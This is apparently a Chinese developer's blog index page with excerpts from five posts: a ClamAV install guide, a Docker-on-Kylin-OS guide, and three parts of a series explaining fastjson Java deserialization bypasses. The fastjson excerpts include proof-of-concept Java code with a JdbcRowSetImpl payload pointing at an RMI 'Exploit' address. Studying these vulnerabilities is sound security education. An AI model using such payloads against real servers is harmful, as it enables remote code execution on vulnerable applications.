关于作者

一只普通后端开发,擅长Java,偶尔写Python、Golang。

  • 以下是我开源的几个项目:
  • next-terminal 是一个轻量级堡垒机系统,易安装,易使用,支持RDP、SSH、VNC、Telnet、Kubernetes协议。
  • kafka-map 是一个美观简洁且强大的kafka web管理工具。

Linux 杀毒软件 ClamAV 安装

Clam AntiVirus(ClamAV)是免费而且开放源代码的杀毒软件,软件与病毒码的更新皆由社群免费发布。Github 地址:https://github.com/Cisco-Talos/clamav 安装 ClamAV yum install -y clamav* 配置 ClamAV cat > /etc/freshclam.conf <<EOF # 数据库配置文件夹 DatabaseDirectory /var/lib/clamav # 更新日志文件夹 UpdateLogFile /var/log/freshclam.log # 日志大小 LogFileMaxSize 2M # 日志记录时间 LogTime yes # 所属用户 DatabaseOwner root # 同步病毒库的地址 DatabaseMirror database.clamav.net EOF 更新病毒库 大概需要几分钟时间 freshclam 进行病毒扫描测试 clamscan -ri </path1/to/scan> </path2/to/scan> 常用配置说明 --recursive[=yes/no(*)] -r 递归查找 --infected -I 只打印受影响的文件信息 --remove[=yes/no(*)] 删除受影响的文件。(不建议使用,根据扫描结果进行手动删除,避免误删。) 配置邮箱 如果不需要邮件通知的可以忽略此步骤。 安装邮件服务 yum install -y mailx 修改配置 修改大写字母为你的邮箱配置 cat > /etc/mail.rc <<EOF set from=USERNAME@YOURDOMAIN....

三月 7, 2022 · 1 分钟 · dushixiang

在银河麒麟高级服务器操作系统V10上安装docker

银河麒麟高级服务器操作系统 V10 是针对企业级关键业务,适应虚拟化、 云计算、大数据、工业互联网时代对主机系统可靠性、安全性、性能、扩展性和 实时性的需求,依据 CMMI 5 级标准研制的提供内生安全、云原生支持、国产 平台深入优化、高性能、易管理的新一代自主服务器操作系统;同源支持飞腾、 龙芯、申威、兆芯、海光、鲲鹏等自主平台;可支撑构建大型数据中心服务器高 可用集群、负载均衡集群、分布式集群文件系统、虚拟化应用和容器云平台等, 可部署在物理服务器和虚拟化环境、私有云、公有云和混合云环境;应用于政府、 国防、金融、教育、财税、公安、审计、交通、医疗、制造等领域。 公司有个项目需要将系统部署在 kylinos上,刚开始还有点头疼,害怕各种程序无法安装和使用,等安装好服务器进行使用的时候发现这不就是基于centos的嘛,虽然基于哪个版本不知道,但是可以测试的,于是我一顿操作,最后发现它是基于Centos8的,系统内核版本是 4.19,问题不大,既然是基于Centos8的,那Centos8上能跑的程序,在这肯定也能跑,然后我就开始了愉快(痛苦)的安装docker之旅了。 配置阿里云Centos8镜像源 之所以要配置 Centos8 的镜像源是因为在安装docker的时候需要额外的一些依赖,而这些依赖在麒麟官方的源里面是没有的。 curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-8.repo 配置阿里云 docker 镜像源 yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo sed -i 's+download.docker.com+mirrors.aliyun.com/docker-ce+' /etc/yum.repos.d/docker-ce.repo 定义 yum 变量&修改 repo 修改 centos 和 docker repo文件中的 $releasever 为 centos_version ,原因是在麒麟服务器操作系统V10中 $releasever被修改为了 10,而我们需要使用 centos 8的镜像源,如果你不替换,基本上仓库的每一个地址都是404。 echo "8" > /etc/yum/vars/centos_version sed -i 's/$releasever/$centos_version/g' /etc/yum.repos.d/docker-ce.repo sed -i 's/$releasever/$centos_version/g' /etc/yum.repos.d/CentOS-Base.repo 建立yum缓存 没啥可说的 yum makecache 查看docker-ce 版本 yum list docker-ce --showduplicates | sort -r docker-ce....

十二月 21, 2021 · 2 分钟 · dushixiang

Java 反序列化漏洞原理(六)fastjson 1.2.68 绕过原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson <= 1.2.68 expectClass 绕过原理 当 fastjson 更新到 1.2.68 之后,大部分安全漏洞都已经封堵住了,但不排除还有人手里握着一些 0day 没有放出来。 fastjson 1.2.68 在进行反序列化的时候,会进入 ObjectDeserializer 的 deserialze 方法,而 安全人员发现 当 @type 为 java.lang.AutoCloseable 的时候会找到实现类 JavaBeanDeserializer 调用 deserialze,而 JavaBeanDeserializer 的 deserialze 方法还会继续解析得到第二个 @type 对应的值进行反序列化,并且 expectClass 则不再是 null 值,而是 java.lang.AutoCloseable。 JavaBeanDeserializer 的 deserialze 部分代码示例。 if (lexer.token() == JSONToken.LITERAL_STRING) { // 第二个 @type 的值 String typeName = lexer.stringVal(); lexer.nextToken(JSONToken.COMMA); if (typeName.equals(beanInfo.typeName)|| parser.isEnabled(Feature.IgnoreAutoType)) { if (lexer.token() == JSONToken.RBRACE) { lexer.nextToken(); break; } continue; } // 这里没有获取到 deserializer ObjectDeserializer deserializer = getSeeAlso(config, this....

十一月 6, 2021 · 5 分钟 · dushixiang

Java 反序列化漏洞原理(五)fastjson 1.2.47 绕过原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 Fastjson <= 1.2.47 POC 随着 fastjson 的更新,以往的安全漏洞都被封堵掉了,但道高一尺,魔高一丈,安全人员发现了一个通杀的漏洞,以往的封堵手段都可以绕过,算是一个里程碑的发现。 我们首先将 fastjson 升级到 1.2.47 版本,然后使用我们之前的POC进行测试。 import com.alibaba.fastjson.JSON; public class Eval3 { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}"; JSON.parse(payload); } } 不出意料的话会出现这样的错误提示信息: autoType is not support. com.sun.rowset.JdbcRowSetImpl 这是因为 fastjson 使用了黑名单机制,禁止将 com.sun.rowset.JdbcRowSetImpl 反序列化。 下面我们使用新的 POC 进行测试,又可以利用成功了。 import com.alibaba.fastjson.JSON; public class Eval5 { public static void main(String[] args) throws Exception { String payload = "{\"a\":{\"@type\":\"java....

十月 31, 2021 · 3 分钟 · dushixiang

Java 反序列化漏洞原理(四)JNDI + RMI/LDAP 在fastjson中的利用原理

声明 本文章中所有内容仅供学习交流,严禁用于非法用途,否则由此产生的一切后果均与作者无关。 JNDI 是什么 Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。 JNDI 包含在Java SE中,不需要引用第三方jar即可使用。要使用 JNDI 必须要有一个或多个服务提供者。JDK 本身已经包括了下面几种服务提供者。 轻量级目录访问协议 (LDAP) CORBA 公共对象服务命名(COS naming) Java 远程方法调用 (RMI) 域名服务 (DNS) 这么说起来还是有点抽象,简单理解就是服务提供者提供一个类似Key Value的数据,JNDI可以通过这个 Key 获取到服务提供者上的提供的Value,因此JNDI是无法单独使用的。 使用JNDI的方式也很简单,下面就是一个获取远程对象的示例代码。 // 创建一个上下文对象 InitialContext context = new InitialContext(); // 查找监听在本地 1099 端口上 RMI 服务的 Object 对象 Object obj = context.lookup("rmi://localhost:1099/Object"); RMI 是什么 RMI 是 Remote Method Invocation 的缩写,中文含义为远程方法调用,即一个Java程序调用调用另一个Java程序暴露出来的方法。 RMI 有三个概念: Registry : 提供服务注册和服务获取,服务端将类名称,存放地址注册到Registry中,以供客户端获取。 Server : 远程方法的提供者。 Client : 远程方法的调用者。 远程方法的定义需要满足两个条件:...

十月 30, 2021 · 6 分钟 · dushixiang